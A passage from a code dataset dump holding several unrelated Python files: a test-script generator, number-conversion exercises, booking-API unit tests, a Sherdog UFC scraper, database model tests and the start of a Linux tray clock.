if tstat.getAttr('device ids',None):\n            w.add( '',\n               'RESOURCE_ndevice = '+repr( len(tstat.getAttr('device ids')) ),\n               'RESOURCE_IDS_ndevice = '+repr(tstat.getAttr('device ids')),\n               'RESOURCE_TOTAL_ndevice = '+repr(tstat.getAttr('total devices')) )\n        else:\n            w.add( '',\n               'RESOURCE_ndevice = 0',\n               'RESOURCE_IDS_ndevice = []',\n               'RESOURCE_TOTAL_ndevice = 0' )\n\n        ###################################################################\n    \n    elif lang in ['sh','bash']:\n\n        w.add( \"\"\"\n            # save the command line arguments into variables\n            NUMCMDLINE=0\n            CMDLINE_VARS=\n            for arg in \"$@\" ; do\n                NUMCMDLINE=$((NUMCMDLINE+1))\n                eval CMDLINE_${NUMCMDLINE}='$arg'\n                CMDLINE_VARS=\"$CMDLINE_VARS CMDLINE_${NUMCMDLINE}\"\n            done\n\n            # this function returns true if the given string was an\n            # argument on the command line\n            cmdline_option() {\n                optname=$1\n                for var in $CMDLINE_VARS ; do\n                    eval val=\"\\$$var\"\n                    [ \"X$val\" = \"X$optname\" ] && return 0\n                done\n                return 1\n            }\n\n            opt_analyze=0\n            cmdline_option --execute-analysis-sections && opt_analyze=1\n            \"\"\" )\n\n        w.add( '',\n               'NAME=\"'+tname+'\"',\n               'TESTID=\"'+tspec.getTestID().computeMatchString()+'\"',\n               'PLATFORM=\"'+platname+'\"',\n               'COMPILER=\"'+cplrname+'\"',\n               'VVTESTSRC=\"'+tdir+'\"',\n               'TESTROOT=\"'+test_dir+'\"',\n               'PROJECT=\"'+projdir+'\"',\n               'OPTIONS=\"'+' '.join( onopts )+'\"',\n               'OPTIONS_OFF=\"'+' '.join( offopts )+'\"',\n               'SRCDIR=\"'+srcdir+'\"',\n               'TIMEOUT=\"'+str(timeout)+'\"',\n               'PYTHONEXE=\"'+sys.executable+'\"' )\n\n        kwds = ' '.join( tspec.getKeywords(include_implicit=False) )\n        w.add( 'KEYWORDS=\"'+kwds+'\"' )\n\n        w.add( 'CONFIGDIR=\"'+':'.join( configdirs )+'\"' )\n\n        w.add( '',\n               'tmp=',\n               '[ \"x$PATH\" = \"x\" ] || tmp=\":$PATH\"',\n               'export PATH=\"'+':'.join(configdirs)+'$tmp\"' )\n\n        w.add( '',\n               'diff_exit_status='+str(DIFF_EXIT_STATUS),\n               'skip_exit_status='+str(SKIP_EXIT_STATUS) )\n\n        platenv = plat.getEnvironment()\n        w.add( '',\n               '# platform settings',\n               'PLATFORM_VARIABLES=\"'+' '.join( platenv.keys() )+'\"' )\n        for k,v in platenv.items():\n            w.add( 'PLATVAR_'+k+'=\"'+v+'\"' )\n        w.add( 'apply_platform_variables() {',\n               '    # sets the platform variables in the environment' )\n        for k,v in platenv.items():\n            w.add( '    export '+k+'=\"'+v+'\"' )\n        if len(platenv) == 0:\n            w.add( '    :' )  # cannot have an empty function\n        w.add( '}' )\n\n        w.add( '', '# parameters defined by the test' )\n        paramD = tspec.getParameters()\n        s = ' '.join( [ n+'/'+v for n,v in paramD.items() ] )\n        w.add( 'PARAM_DICT=\"'+s+'\"' )\n        for k,v in paramD.items():\n            w.add( k+'=\"'+v+'\"' )\n\n        if tspec.isAnalyze():\n            w.add( '', '# parameters comprising the children' )\n            psetD = tspec.getParameterSet().getParameters()\n            if len(psetD) > 0:\n                # the parameter names and values of the children tests\n                for n,L in psetD.items():\n                    n2 = '_'.join( n )\n                    L2 = [ '/'.join( v ) for v in L ]\n                    w.add( 'PARAM_'+n2+'=\"' + ' '.join(L2) + '\"' )\n\n        L = generate_dependency_list( dep_list, test_dir )\n        w.add( '', 'DEPDIRS=\"'+' '.join(L)+'\"' )\n\n        sprocs = [ str(procid) for procid in tstat.getAttr('processor ids') ]\n        w.add( '',\n               'RESOURCE_np=\"'+str( len(sprocs) )+'\"',\n               'RESOURCE_IDS_np=\"'+' '.join(sprocs)+'\"',\n               'RESOURCE_TOTAL_np=\"'+str(tstat.getAttr('total processors'))+'\"' )\n\n        if tstat.getAttr('device ids',None):\n            sdevs = [ str(devid) for devid in tstat.getAttr('device ids') ]\n            w.add( '',\n               'RESOURCE_ndevice=\"'+str( len(sdevs) )+'\"',\n               'RESOURCE_IDS_ndevice=\"'+' '.join(sdevs)+'\"',\n               'RESOURCE_TOTAL_ndevice=\"'+str(tstat.getAttr('total devices'))+'\"' )\n        else:\n            w.add( '',\n               'RESOURCE_ndevice=\"0\"',\n               'RESOURCE_IDS_ndevice=\"\"',\n               'RESOURCE_TOTAL_ndevice=\"0\"' )\n\n        # the name script_util_plugin.sh is now deprecated, Dec 2021\n        for d in configdirs[::-1]:\n            for fn in ['script_util.sh','script_util_plugin.sh']:\n                pn = pjoin( d, fn )\n                if os.path.isfile(pn):\n                    w.add( 'source '+quote(pn) )\n    \n    w.write( filename )\n\n\n#########################################################################\n\nclass LineWriter:\n\n    def __init__(self):\n        self.lineL = []\n\n    def add(self, *args):\n        \"\"\n        if len(args) > 0:\n            indent = ''\n            if type(args[0]) == type(2):\n                n = args.pop(0)\n                indent = '  '*n\n            for line in args:\n                if line.startswith('\\n'):\n                    for line in self._split( line ):\n                        self.lineL.append( indent+line )\n                else:\n                    self.lineL.append( indent+line )\n\n    def _split(self, s):\n        \"\"\n        off = None\n        lineL = []\n        for line in s.split( '\\n' ):\n            line = line.strip( '\\r' )\n            lineL.append( line )\n            if off == None and line.strip():\n                i = 0\n                for c in line:\n                    if c != ' ':\n                        off = i\n                        break\n                    i += 1\n        if off == None:\n            return lineL\n        return [ line[off:] for line in lineL ]\n\n    def write(self, filename):\n        \"\"\n        fp = open( filename, 'w' )\n        fp.write( '\\n'.join( self.lineL ) + '\\n' )\n        fp.close()\n\n\ndef generate_dependency_list( dep_list, test_dir ):\n    \"\"\n    L = [ pjoin( test_dir, T[1] ) for T in dep_list ]\n    L.sort()\n    return L\n\n\ndef generate_dependency_map( dep_list, test_dir ):\n    \"\"\n    D = {}\n\n    for pat,depdir in dep_list:\n        if pat:\n            S = D.get( pat, None )\n            if S == None:\n                S = set()\n                D[ pat ] = S\n            S.add( pjoin( test_dir, depdir ) )\n\n    for k,S in D.items():\n        D[ k ] = list( S )\n        D[ k ].sort()\n\n    return D\n","repo_name":"sandialabs/vvtest","sub_path":"libvvtest/ScriptWriter.py","file_name":"ScriptWriter.py","file_ext":"py","file_size_in_byte":10999,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"27019902015","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# author:xm1230\n# datetime:2019/1/24 20:24\n# software: PyCharm\n\nimport math\n\n\nclass Solution:\n    def __init__(self):\n        self.ERROR_RANGE = 1e-6\n\n        self.dic = {0: '0', 1: '1', 2: '2', 3: '3', 4: '4', 5: '5', 6: '6', 7: '7', 8: '8', 9: '9', 10: 'a', 11: 'b',\n                    12: 'c',\n                    13: 'd', 14: 'e', 15: 'f'}\n\n        self.dic_ni = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'a': 10, 'b': 11,\n                       'c': 12,\n                       'd': 13, 'e': 14, 'f': 15}\n\n    def sqrt(self, n):\n        y = 1.0\n        while abs(y * y - n) > self.ERROR_RANGE:\n            y = (y + n / y) / 2\n        return y\n\n    def bin2(self, n):\n        t = 2\n        if n < t:\n            return n\n        result = ''\n        while n > t - 1:\n            result = str(n % t) + result\n            n = math.floor(n / t)\n        return str(n) + result\n\n    def oct8(self, n):\n        t = 8\n        if n < t:\n            return n\n        result = ''\n        while n > t - 1:\n            result = str(n % t) + result\n            n = math.floor(n / t)\n        return str(n) + result\n\n    def toHex(self, n):\n        '''\n        10转16进制\n        :param n:\n        :return:\n        '''\n        if n >= 0:\n            t = 16\n            if n < t:\n                return self.dic[n]\n            result = ''\n            while n > t - 1:\n                result = self.dic[n % t] + result\n                n = math.floor(n / t)\n            result = self.dic[n] + result\n        else:\n            tmp = str(self.bin2(-n))\n            # 补0\n            for i in range(32 - len(tmp)):\n                tmp = '0' + tmp\n            print(''.join(tmp), '2进制补0')\n            tmp = [i for i in tmp]\n            count = 31\n            # 取反\n            for i in range(len(tmp)):\n                tmp[i] = '0' if tmp[i] == '1' else '1'\n            print(''.join(tmp), '取反')\n            # +1\n            while count > 0:\n                if tmp[count] == '0':\n                    tmp[count] = '1'\n                    break\n                else:\n                    tmp[count] = '0'\n                    count -= 1\n            print(''.join(tmp), '+1')\n            # 第一位为1\n            tmp = ['1'] + tmp[1:]\n            print(''.join(tmp), '第一位为1')\n            result = ''.join(tmp)\n            # 转为16进制\n            tmp16 = ''\n            for i in range(8):\n                tmp2 = ''\n                for j in range(4):\n                    tmp2 = result[(i + 1) * 4 - j - 1] + tmp2\n                tmp16 = tmp16 + self.toHex(self.int10(tmp2, 2))\n                # print(tmp16, tmp2, i, j)\n            result = tmp16\n        return result\n\n    def int10(self, n, e=2):\n        count = len(str(n)) - 1\n        result = 0\n        for i in str(n):\n            result = result + self.dic_ni[i] * (e ** count)\n            count -= 1\n        return result\n\n\nif __name__ == '__main__':\n    c = Solution()\n    # for i in range(1, 160):\n    #     tmp = tohex(i)\n    #     print(tmp, i, int10(tmp, 16))\n    print(c.toHex(-2))\n    # print(c.toHex(-1))\n    # for i in range(10, 30):\n    #     tmp = sqrt(i)\n    #     tmp2 = i ** 0.5\n    #     print(tmp, tmp2, i, tmp * tmp)\n","repo_name":"xjh1230/py_algorithm","sub_path":"test/t_sqrt.py","file_name":"t_sqrt.py","file_ext":"py","file_size_in_byte":3283,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"8526837969","text":"import logging\nfrom urllib.parse import quote, urljoin\n\nimport pytest\nfrom model_bakery import baker\nfrom rest_framework import status\n\nfrom bookings.models import Booking\nfrom bookings.ticketing_system import TicketingSystemAPI\nfrom gtfs.tests.utils import get_feed_for_maas_operator\nfrom mock_ticket_api.utils import get_confirmations_data, get_reservation_data\n\n\ndef get_log_records(caplog):\n    \"\"\"Return api call log messages.\n\n    Format of record tuples is (logger_name, log_level, message).\n    \"\"\"\n    return [\n        log[2]\n        for log in caplog.record_tuples\n        if log[0] == \"bookings.ticketing_system\" and log[1] == logging.INFO\n    ]\n\n\n@pytest.mark.django_db\ndef test_api_call_for_reservation(\n    maas_operator, fare_test_data, requests_mock, snapshot, caplog\n):\n    ticketing_system = fare_test_data.feed.ticketing_system\n    ticketing_system.bookings_api_url = \"https://api.example.com\"\n    ticketing_system.save()\n    requests_mock.post(\n        ticketing_system.bookings_api_url,\n        json=get_reservation_data(),\n        status_code=status.HTTP_201_CREATED,\n    )\n    ticket_data = {\n        \"route\": fare_test_data.routes[0],\n        \"departures\": [fare_test_data.departures[0]],\n        \"tickets\": [\n            {\n                \"fare\": fare_test_data.fares[0],\n                \"fare_rider_category\": fare_test_data.rider_categories[0],\n            }\n        ],\n        \"locale\": \"fi\",\n        \"request_id\": \"requestID\",\n        \"transaction_id\": \"transactionID\",\n    }\n\n    Booking.objects.create_reservation(maas_operator, ticketing_system, ticket_data)\n    log_messages = get_log_records(caplog)\n\n    assert requests_mock.call_count == 1\n    snapshot.assert_match(requests_mock.request_history[0].json())\n    assert requests_mock.request_history[0].headers[\"Authorization\"] == \"Bearer APIKEY\"\n    assert len(log_messages) == 1\n    snapshot.assert_match(log_messages[0])\n\n\n@pytest.mark.django_db\ndef test_api_call_for_confirmation(maas_operator, requests_mock, snapshot, caplog):\n    feed = get_feed_for_maas_operator(maas_operator, True)\n    extra_params = {\n        \"locale\": \"fi\",\n        \"request_id\": \"requestID\",\n        \"transaction_id\": \"transactionID\",\n    }\n    reserved_booking = baker.make(\n        Booking,\n        maas_operator=maas_operator,\n        source_id=\"test_confirmation_id\",\n        ticketing_system=feed.ticketing_system,\n    )\n    ticketing_system = feed.ticketing_system\n    ticketing_system.bookings_api_url = \"https://api.example.com\"\n    ticketing_system.save()\n    requests_mock.post(\n        urljoin(\n            ticketing_system.bookings_api_url, f\"{reserved_booking.source_id}/confirm/\"\n        ),\n        json=get_confirmations_data(reserved_booking.source_id, include_qr=False),\n        status_code=status.HTTP_200_OK,\n    )\n\n    reserved_booking.confirm(passed_parameters=extra_params)\n    log_messages = get_log_records(caplog)\n\n    assert requests_mock.call_count == 1\n    snapshot.assert_match(requests_mock.request_history[0].json())\n    assert requests_mock.request_history[0].headers[\"Authorization\"] == \"Bearer APIKEY\"\n    assert len(log_messages) == 1\n    snapshot.assert_match(log_messages[0])\n\n\n@pytest.mark.django_db\ndef test_api_call_for_booking_detail(maas_operator, requests_mock, snapshot, caplog):\n    feed = get_feed_for_maas_operator(maas_operator, True)\n    extra_params = {\n        \"locale\": \"fi\",\n        \"request_id\": \"requestID\",\n    }\n    confirmed_booking = baker.make(\n        Booking,\n        maas_operator=maas_operator,\n        source_id=\"test_confirmation_id\",\n        ticketing_system=feed.ticketing_system,\n        status=Booking.Status.CONFIRMED,\n    )\n    ticketing_system = feed.ticketing_system\n    ticketing_system.bookings_api_url = \"https://api.example.com\"\n    ticketing_system.save()\n    requests_mock.get(\n        urljoin(ticketing_system.bookings_api_url, f\"{confirmed_booking.source_id}/\"),\n        json=get_confirmations_data(confirmed_booking.source_id, include_qr=False),\n        status_code=status.HTTP_200_OK,\n    )\n\n    confirmed_booking.retrieve(passed_parameters=extra_params)\n\n    log_messages = get_log_records(caplog)\n\n    assert requests_mock.call_count == 1\n    query = requests_mock.request_history[0].query\n    assert \"locale\" in query\n    assert \"request_id\" in query\n    assert requests_mock.request_history[0].headers[\"Authorization\"] == \"Bearer APIKEY\"\n    assert len(log_messages) == 1\n    snapshot.assert_match(log_messages[0])\n\n\n@pytest.mark.django_db\ndef test_ticket_system_call_use_quoted_identifiers(maas_operator, requests_mock):\n    identifier = \"MAAS:5154.1621500322898.jxgTgw,11E8\"\n    feed = get_feed_for_maas_operator(maas_operator, True)\n    ticketing_system = feed.ticketing_system\n    requests_mock.post(\n        urljoin(ticketing_system.bookings_api_url, f\"{quote(identifier)}/confirm/\"),\n        json=get_confirmations_data(identifier, include_qr=False),\n        status_code=status.HTTP_200_OK,\n    )\n\n    api = TicketingSystemAPI(\n        ticketing_system=ticketing_system, maas_operator=maas_operator\n    )\n\n    data = api.confirm(identifier)\n    assert data[\"status\"] == \"CONFIRMED\"\n","repo_name":"City-of-Helsinki/maritime-maas","sub_path":"bookings/tests/test_api_call.py","file_name":"test_api_call.py","file_ext":"py","file_size_in_byte":5140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37201826484","text":"from bs4 import BeautifulSoup\nfrom unidecode import unidecode\n\nimport re\nimport json\nimport os.path\n\nfrom selenium import webdriver\n\n\nclass sherdog:\n    def __init__(self, wd: webdriver, path_to_umatrix: str):\n        self.wd = wd\n        self.wd.install_addon(path_to_umatrix)\n        self.cardsLinks = []\n        self.fightersLinks = {}\n        self.fightersInfo = []\n\n\n    def downloadAllCardsInfo(self):\n        \"\"\"Get all the UFC cards from sherdog's site\"\"\"\n        if os.path.isfile(\"sherdog_cards.json\"):\n            self.cardsLinks = json.load(open('sherdog_cards.json', 'r'))\n        else:\n            for x in range(5, 0, -1):\n                self.wd.get(\n                    f\"https://www.sherdog.com/organizations/Ultimate-Fighting-Championship-UFC-2/recent-events/{x}\")\n                site = BeautifulSoup(self.wd.page_source, 'html.parser')\n                for line in (site.find('div', {'id': 'recent_tab'})\n                    .find('tbody').find_all('tr')[::-1]):\n                    if line.find('a'):\n                        self.cardsLinks.append(\n                            \"https://www.sherdog.com\" + line.a['href'])\n\n            json.dump(self.cardsLinks,open('sherdog_cards.json','w'))\n\n    def get_cards_links(self):\n        return self.cardsLinks if self.cardsLinks else self.downloadAllCardsInfo()\n\n\n    def downloadAllFightersProfiles(self):\n        \"Extracts all links to the ufc fighters (or ex-fighters) profiles\"\n\n        if not (self.cardsLinks and os.path.isfile(\"sherdog_cards.json\")):\n            for cnumber, card in enumerate(self.cardsLinks):\n                if not ((len(self.cardsLinks) - cnumber) % 100):\n                    print(\"{len(self.fightersLinks) - cnumber} cards are left\")\n\n                self.wd.implicitly_wait(1)\n                self.wd.get(card)\n                site = BeautifulSoup(self.wd.page_source, 'html.parser')\n                if not site.find('div', class_='module fight_card'): continue\n                for main_card in (site.find('div',class_='module fight_card')\n                        .find_all('a')):\n\n                    if main_card.find('span') and main_card.find('span').text not in self.fightersLinks:\n                       self.fightersLinks[main_card.find('span').text] = main_card['href']\n\n                for fight in (site.find('div', class_='content table')\n                        .find_all('tr', {'itemprop': 'subEvent'})):\n                    for fighter in (fight\n                            .find_all('td', {'itemprop': 'performer'})):\n                        if fighter.a.text not in self.fightersLinks:\n                            self.fightersLinks[fighter.a.text] = fighter.a['href']\n\n            if not os.path.isfile(\"sherdog_fighters_links.json\"):\n                json.dump(self.fightersLinks, open('sherdog_fighters_links.json', 'w'))\n\n        elif os.path.isfile(\"sherdog_cards.json\"):\n            self.fightersLinks = json.load(open('sherdog_fighters_links.json','r'))\n            self.downloadAllFightersProfiles()\n        else:\n            self.downloadAllCardsInfo()\n            self.downloadAllFightersProfiles()\n\n\n    def get_fighters_links(self):\n        return [\"https://www.sherdog.com\" + x for x in self.fightersLinks.values()] if self.fightersLinks else self.downloadAllFightersProfiles()\n\n\n    def extractInfo(self,url):\n        def dateDecoder(string):\n            months = {'Jan': '01', 'Feb': '02', 'Mar': '03',\n                      'Apr': '04', 'May': '05', 'Jun': '06',\n                      'Jul': '07', 'Aug': '08', 'Sep': '09',\n                      'Oct': '10', 'Nov': '11', 'Dec': '12'}\n            new_date = string.split('/')\n            return '-'.join([new_date[2].strip(), months[new_date[0].strip()],new_date[1].strip()])\n\n        fighter = {'Name': '',\n                   'Nickname': '',\n                   'Birth date': '',\n                   'Height': '',\n                   'Record': {'wins': '', 'loses': '', 'draws': '',\n                              'nc': ''},\n                   'Affiliation': '',\n                   'Nationality': '',\n                   'Location region': '',\n                   'Location city': '',\n                   'Weight': '',\n                   'wins summary': {'KO/TKO': '', 'SUBMISSIONS': '',\n                                    'DECISIONS': '', 'OTHERS': ''},\n                   'loses summary': {'KO/TKO': '', 'SUBMISSIONS': '',\n                                     'DECISIONS': '', 'OTHERS': ''},\n                   'bouts': []}\n\n        self.wd.get(url)\n        site = BeautifulSoup(self.wd.page_source, 'html.parser')\n\n        # fighters summary\n        bio = site.find('div', class_='module bio_fighter vcard')\n\n        if not site.find('div', class_='module bio_fighter tagged'):\n            if len(bio.find('h1').find_all('span')) > 1:\n                fighter['Name'], fighter['Nickname'] = \\\n                    [x.text for x in bio.find('h1').find_all('span')]\n            else:\n                fighter['Name'] = str(bio.find('h1').find('span').text)\n        else:\n            fighter['Name'] = str(site.find('span', class_='fn').text)\n            fighter['Nickname'] = \\\n                str(site.find('span', class_='nickname').text if\n                site.find('span', class_='nickname') else '')\n\n        fighter['Birth date'] = \\\n            str(bio.find('span', {'itemprop': 'birthDate'}).text if\n                bio.find('span', {'itemprop': 'birthDate'}) else '')\n\n        if re.search('(\\d+\\.\\d+) cm',\n                     bio.find('div', class_='size_info').find('span', class_='item height').text):\n\n            fighter['Height'] = \\\n                (str(re.search('(\\d+\\.\\d+) cm', bio.find('div', class_='size_info')\n                              .find('span', class_='item height').text)[1]))\n\n        if re.search('(\\d+\\.\\d+) kg',\n                     bio.find('div', class_='size_info').find('span',\n                                                              class_='item weight').text):\n            fighter['Weight'] = str(re.search('(\\d+\\.\\d+) kg',\n                                              bio.find('div',\n                                                       class_='size_info').find(\n                                                  'span',\n                                                  class_='item weight').text)[1])\n        fighter['Record']['wins'] = str(\n            bio.find('span', class_='counter').text)\n        fighter['Record']['loses'] = str(\n            bio.find('div', class_='bio_graph loser').find('span',\n                                                           class_='counter').text)\n\n        if bio.find('div', class_='right_side'):\n            for outs in bio.find('div', class_='right_side').find_all(\n                    'div', class_='bio_graph'):\n                if outs.find('span', 'result').text == 'Draws':\n                    fighter['Record']['draws'] = str(\n                        outs.find('span', 'counter').text)\n                if outs.find('span', 'result').text == 'N/C':\n                    fighter['Record']['nc'] = str(\n                        outs.find('span', 'counter').text)\n\n        bouts_summary = [re.match('\\d+', x.text)[0] for x in\n                         bio.find_all('span', class_='graph_tag')]\n        if len(bouts_summary) == 8:\n            fighter['wins summary']['KO/TKO'], fighter['wins summary'][\n                'SUBMISSIONS'], fighter['wins summary']['DECISIONS'], \\\n            fighter['wins summary']['OTHERS'] = bouts_summary[0:4]\n            fighter['loses summary']['KO/TKO'], fighter['loses summary'][\n                'SUBMISSIONS'], fighter['loses summary']['DECISIONS'], \\\n            fighter['loses summary']['OTHERS'] = bouts_summary[4:]\n        else:\n            fighter['wins summary']['KO/TKO'], fighter['wins summary'][\n                'SUBMISSIONS'], fighter['wins summary'][\n                'DECISIONS'] = bouts_summary[0:3]\n            fighter['loses summary']['KO/TKO'], fighter['loses summary'][\n                'SUBMISSIONS'], fighter['loses summary'][\n                'DECISIONS'] = bouts_summary[3:]\n\n        fighter['Nationality'] = str(bio.find('strong', {\n            'itemprop': 'nationality'}).text if bio.find('strong', {\n            'itemprop': 'nationality'}) else '')\n        fighter['Affiliation'] = str(\n            bio.find('a', class_='association').text if bio.find('a',\n                                                                 class_='association') else '')\n\n        if bio.find('span', class_='locality'):\n            if ',' in bio.find('span', class_='locality').text:\n                fighter['Location city'], fighter[\n                    'Location region'] = bio.find('span',\n                                                  class_='locality').text.split(\n                    ',')\n            else:\n                fighter['Location city'] = str(\n                    bio.find('span', class_='locality').text)\n\n        # fights description\n        for history in site.find_all('div', class_='module fight_history'):\n            if (re.search('Pro Exhibition', history.find('h2').text,\n                          re.IGNORECASE) or\n                    re.search('Amateur', history.find('h2').text,\n                              re.IGNORECASE) or\n                    re.search('Upcoming', history.find('h2').text,\n                              re.IGNORECASE)): continue\n\n            for bout in history.find_all('tr')[1:][::-1]:\n                bout_info = {'result': '', 'opponent': '', 'event': '',\n                             'date': '', 'method': '', 'referee': '',\n                             'round': '', 'time': '', 'dc reason': \"\"}\n                fight_info = bout.find_all('td')\n                bout_info['result'] = str(fight_info[0].text)\n                bout_info['opponent'] = str(fight_info[1].text)\n                bout_info['event'] = str(fight_info[2].a.text)\n                bout_info['date'] = str(dateDecoder(\n                    fight_info[2].find('span', 'sub_line').text) if\n                                        fight_info[2].find('span',\n                                                           'sub_line') else '')\n                bout_info['method'] = str(fight_info[3].contents[0])\n                if len(fight_info[3].contents) == 2:\n                    pass\n                elif len(fight_info[3].contents[2]) == 1:\n                    bout_info['referee'] = str(\n                        fight_info[3].contents[2].text if\n                        fight_info[3].contents[2] else '')\n                else:\n                    bout_info['referee'] = str(\n                        fight_info[3].contents[4].text if str(\n                            fight_info[3].contents[4]) != 'N/A' else '')\n                    bout_info['dc reason'] = str(\n                        unidecode(fight_info[3].contents[2]))\n\n                bout_info['round'] = str(fight_info[4].text)\n                bout_info['time'] = str(fight_info[5].text)\n                fighter['bouts'].append(bout_info)\n\n            return fighter\n\n    def extractAllInfo(self):\n        if not self.fightersLinks:\n            self.downloadAllFightersProfiles()\n        else:\n            for idx,link in enumerate([\"https://www.sherdog.com\" + x for x in self.fightersLinks.values()]):\n                self.fightersInfo.append(self.extractInfo(link))\n                if not (idx % 100):\n                    print(f\"{len(self.fightersLinks) - idx} fighters are left\")\n            print(f\"All done\")\n            json.dump(self.fightersInfo, open('sherdog_fighters_links.json', 'w'))\n\n    def getAllinfo(self):\n         return self.fightersInfo\n","repo_name":"g13n4/ufcFightersScraper","sub_path":"ufcFightersScraper/sherdog.py","file_name":"sherdog.py","file_ext":"py","file_size_in_byte":11648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14284357943","text":"import unittest\nfrom app.models import User, Club, Player, Points, Price, Transaction, Userdata\nfrom app import create_app, db\nfrom datetime import date, timedelta\n\n\nclass DataCreationTest(unittest.TestCase):\n    def setUp(self):\n        self.app = create_app('testing')\n        self.app_context = self.app.app_context()\n        self.app_context.push()\n        db.drop_all()\n        db.create_all()\n\n    def tearDown(self):\n        db.session.remove()\n        db.drop_all()\n        self.app_context.pop()\n\n    def test_data_creation(self):\n        c = Club(id=5, name='Test')\n        p = Player(id=7, name='Potato', position='Alante', club=c)\n        u = User(id=3, name='Yo', players=[p])\n\n        ud = Userdata(id=u, date=date.today(), points=12, money=14, teamvalue=111, maxbid=12331)\n        t = Transaction(player_id=p.id, user_id=u.id, sort=\"Sell\", price = 123, date = date.today())\n        u.userdata.append(ud)\n        u.transactions.append(t)\n\n        pt = Points(id=p, gameday=1, points=10)\n        ptt = Points(id=p, gameday=2, points=6)\n        pr = Price(id=p, date=date.today(), price=160000)\n        prr = Price(id=p, date=date.today() + timedelta(days=1), price=200000)\n        p.prices.extend([pr, prr])\n        p.points.extend([pt, ptt])\n\n        # db.session.add_all([u, c, p, ud, t, pt, ptt, pr, prr])\n        db.session.add(u)\n        db.session.commit()\n\n        u = User.query.filter_by(id=3).first()\n        self.assertTrue(u.name == 'Yo')\n        self.assertEqual(u.players.count(), 1)\n        self.assertEqual(u.players[0].prices.count(), 2)\n","repo_name":"jotacor/tradunio-web","sub_path":"tests/test_data_creation.py","file_name":"test_data_creation.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"21215460455","text":"food_quantity = float(input())\nhay_quantity = float(input())\ncover_quantity = float(input())\npig_weight = float(input())\nis_enough = True\nfor day in range(1, 31):\n    food_quantity = float(f\"{food_quantity - 0.3:.2f}\")\n    if day % 2 == 0:\n        hay_quantity -= float(f\"{0.05 * food_quantity:.2f}\")\n    if day % 3 == 0:\n        cover_quantity -= float(f\"{pig_weight / 3}\")\n    if food_quantity <= 0 or hay_quantity <= 0 or cover_quantity <= 0:\n        print(\"Merry must go to the pet store!\")\n        is_enough = False\n        break\nif is_enough:\n    print(\n        f\"Everything is fine! Puppy is happy! Food: {food_quantity:.2f}, Hay: {hay_quantity:.2f}, Cover: {cover_quantity:.2f}.\")\n","repo_name":"Tsveti1103/Python-Fundamentals","sub_path":"mid_exam_preparation/guinea_pig.py","file_name":"guinea_pig.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"38133809099","text":"import dbus\nimport logging\nimport os\nimport pystray\nimport signal\nfrom pkg_resources import resource_filename\nfrom PIL import Image\nfrom time import sleep\nfrom .platformctx import PunchStrategy\nfrom .ledgers import ledger_factory\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass LockScreen(object):\n    \"\"\" Logger for lock/unlock screen \"\"\"\n    def __init__(self, ledger):\n        from dbus.mainloop.glib import DBusGMainLoop\n        DBusGMainLoop(set_as_default=True)\n        from gi.repository import GObject\n        self.loop = GObject.MainLoop()\n        self.bus = dbus.SessionBus()\n        self.ledger = ledger\n\n        self.screen_saver_proxy, is_unity = self._get_screen_saver_proxy()\n\n        if is_unity is True:\n            self.screen_saver_proxy.connect_to_signal('Locked', self.locked_handler, sender_keyword='sender')\n            self.screen_saver_proxy.connect_to_signal('Unlocked', self.unlocked_handler, sender_keyword='sender')\n            logger.info('Enabling unity screen saver watcher')\n        else:\n            self.screen_saver_proxy.connect_to_signal(\"ActiveChanged\",\n                                                      self.gnome_handler,\n                                                      dbus_interface='org.gnome.ScreenSaver')\n            logger.info('Enabling gnome screen saver watcher')\n\n    def _get_screen_saver_proxy(self):\n        \"\"\" get dbus proxy object \"\"\"\n        timeout = 20\n        ssp = None\n        unity = False\n\n        # When using systemd user service, we need to retry a couple of times before the bus is ready.\n        while not ssp and timeout != 0:\n\n            try:\n                if 'ubuntu' in os.environ.get('DESKTOP_SESSION'):\n                    unity = True\n            except TypeError:\n                logger.warning(\"Failed to get DESKTOP_SESSION env, retrying\")\n                timeout -= 1\n                sleep(1)\n                continue\n\n            try:\n                if unity:\n                    ssp = self.bus.get_object('com.canonical.Unity', '/com/canonical/Unity/Session')\n                else:\n                    ssp = self.bus.get_object('org.gnome.ScreenSaver', '/org/gnome/ScreenSaver')\n            except dbus.exceptions.DBusException:\n                logger.info('Failed to get dbus object, retrying')\n                timeout -= 1\n                sleep(1)\n\n        if not ssp:\n            raise Exception(\"Can't connect to screen saver proxy\")\n\n        return ssp, unity\n\n    def gnome_handler(self, dbus_screen_active):\n        \"\"\" handle gnome screen saver signals \"\"\"\n        if dbus_screen_active:\n            logger.debug('gnome: lock screen')\n            self.ledger.out_signal()\n        else:\n            logger.debug('gnome: unlock screen')\n            self.ledger.in_signal()\n\n    def locked_handler(self, sender=None):\n        \"\"\" hanlde unity lock screen \"\"\"\n        logger.debug('Unity: lock screen')\n        self.ledger.out_signal()\n\n    def unlocked_handler(self, sender=None):\n        \"\"\" handle unity unlock screen \"\"\"\n        logger.debug('Unity unlock screen')\n        self.ledger.in_signal()\n\n    def start(self):\n        \"\"\" start main loop \"\"\"\n        try:\n            self.loop.run()\n        except KeyboardInterrupt:\n            self.ledger.out_signal()\n            logger.exception(\"KeyboardInterrrupt, shutting down\")\n        logger.debug('lockscreen loop stopped')\n\n    def stop(self):\n        self.loop.quit()\n\n\nclass LinuxStrategy(PunchStrategy):\n    def __init__(self, **kwargs):\n        self.config = kwargs\n        self.ledger = ledger_factory(**self.config)\n        self.ledger.in_signal()\n\n        self.app = pystray.Icon(\n            'bundyclock',\n            icon=Image.open(resource_filename(__name__, 'service_files/bundyclock.png')),\n            menu=pystray.Menu(\n                pystray.MenuItem('take a break', self.after_click),\n                pystray.Menu.SEPARATOR,\n                pystray.MenuItem('show time today', self.after_click),\n                